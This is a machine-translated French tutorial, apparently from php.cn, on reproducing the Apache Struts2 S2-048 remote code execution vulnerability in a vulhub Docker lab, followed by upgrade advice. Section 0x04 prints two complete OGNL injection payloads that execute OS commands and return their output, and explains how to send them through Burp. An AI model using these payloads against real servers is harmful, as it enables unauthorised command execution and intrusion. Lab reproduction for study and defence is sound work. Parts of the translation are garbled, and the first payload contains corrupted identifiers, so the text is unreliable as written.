Maison  >  Article  >  Opération et maintenance  >  Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048

Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048

WBOY
WBOYavant
2023-05-12 19:43:101551parcourir

0x00Introduction

Le framework Struts2 est une architecture d'application Web open source pour le développement d'applications Web Java EE. Il utilise et étend l'API Java Servlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC.

0x01 Vulnérabilité Présentation

La série Apache Struts2 2.3.x a le plug-in struts2-struts1-plugin activé et le répertoire struts2-showcase existe. La cause de la vulnérabilité est que lorsque ActionMessage reçoit des données de paramètres contrôlables par le client, l'épissage des données ultérieur est transmis. Un post-traitement inapproprié conduit à l'exécution de code arbitraire.

Portée de l'impact 0x02

Versions de la série Apache Struts 2.3.x avec le plug-in struts2-struts1-plugin activé.

Construction de l'environnement 0x03

1. Il est plus compliqué de construire Apache Struts2 par vous-même. Cet environnement de vulnérabilité est construit à l'aide de l'environnement docker de vulhub.

Adresse de téléchargement : https://github.com/vulhub/vulhub

2 Après le téléchargement, décompressez et entrez dans le répertoire s2-048, démarrez l'environnement de vulnérabilité

cd cd vulhub-master/struts2/s2-048/. //Entrez le répertoire

怎么进行Apache Struts2--048远程代码执行漏洞复现

docker-compose up -d //Démarrez le champ de tir

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. Utilisez docker ps pour vérifier si le démarrage a réussi

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. ip:8080/bonjour dans le navigateur .action, vérifiez que l'environnement de la page suivante a été configuré

怎么进行Apache Struts2--048远程代码执行漏洞复现

Récurrence de vulnérabilité 0x04

1 Entrez le lien suivant dans le navigateur pour accéder à la page de vulnérabilité

http. ://192.168.3.160:8080/integration/saveGangster.action

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. Entrez ${1+1} dans le premier formulaire "Nom du gangster", entrez ce que vous voulez ci-dessous, cliquez sur Soumettre pour afficher l'OGNL exécuté. expression

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. Gangster Name", remplacez ${1+1} par l'instruction de charge utile exécutée par la commande suivante

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess=#dm):((# containers=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil @class)).(#ognlUtil.getExclusivePackageNames() .clear()).(#ognlUtil.getExulatedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org .apache.commons.io.IOUtils@toString (@ java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. Vous pouvez également utiliser Burp pour capturer le paquet et le modifier en charge utile pour l'exécution de la commande. Déclaration

Remarque : La charge utile doit être codée en URL

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ? (#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@ class)).(#ognlUtil.getExclusivePackageNames().clear()).(# ognlUtil.getExclusiveClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id' ).(#iswin=(@java.lang.System@getProperty('os. name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe' ,'/c',#cmd} :{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream (true)).(#process=#p.start()).(# ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io .IOUtils@copy(#process.getInputStream(),#ros)).(# ros.flush())}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. Il peut être implémenté à l'aide de scripts automatisés ou d'outils graphiques, et n'est pas démontré ici.

Les outils peuvent être recherchés et téléchargés sur GitHub

0x05 suggestions de réparation

1 Mise à niveau Il est recommandé de mettre à niveau vers la dernière version

2. Selon les conditions commerciales, désactivez et fermez (supprimez) les struts-2.3. Forfait .xappsstruts2-showcase.war

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer